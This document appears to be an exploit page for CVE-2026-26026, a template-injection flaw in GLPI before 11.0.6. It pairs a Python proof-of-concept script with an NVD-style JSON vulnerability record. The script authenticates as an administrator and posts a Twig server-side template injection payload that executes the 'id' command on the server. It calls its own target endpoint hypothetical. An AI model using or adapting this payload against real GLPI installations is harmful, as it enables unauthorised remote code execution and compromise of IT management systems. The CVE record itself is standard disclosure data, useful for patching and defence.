CVE-2026-26026

import requests # PoC for CVE-2026-26026 (GLPI Template Injection) # Target: GLPI < 11.0.6 # Note: Requires Administrator privileges. target_url = "http://glpi-server.com" login_url = f"{target_url}/login.php" # 1. Authenticate as Admin session = requests.Session() creds = { "login": "admin", "password": "admin_password", "auth": "local" } session.post(login_url, data=creds) # 2. Prepare Payload (Twig SSTI) # Payload to execute 'id' command payload = "{{_self.env.display(\"id\")}}" # 3. Send Payload to Template Endpoint # Endpoint is hypothetical, adjust based on actual vulnerable path exploit_url = f"{target_url}/ajax/template.php" data = { "content": payload, "id": "1" } response = session.post(exploit_url, data=data) # 4. Check Result if response.status_code == 200: print("[+] Exploit sent successfully!") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed")

{"cve": {"id": "CVE-2026-26026", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:07.093", "lastModified": "2026-04-07T16:03:34.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GLPI is a free asset and IT management software package. From 11.0.0 to before 11.0.6, template injection by an administrator lead to RCE. This vulnerability is fixed in 11.0.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.6", "matchCriteriaId": "7BF95FA7-1F5E-4D44-B291-5576720FB714"}]}]}], "references": [{"url": "https://github.com/glpi-project/glpi/security/advisories/GHSA-2c98-648q-h27h", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}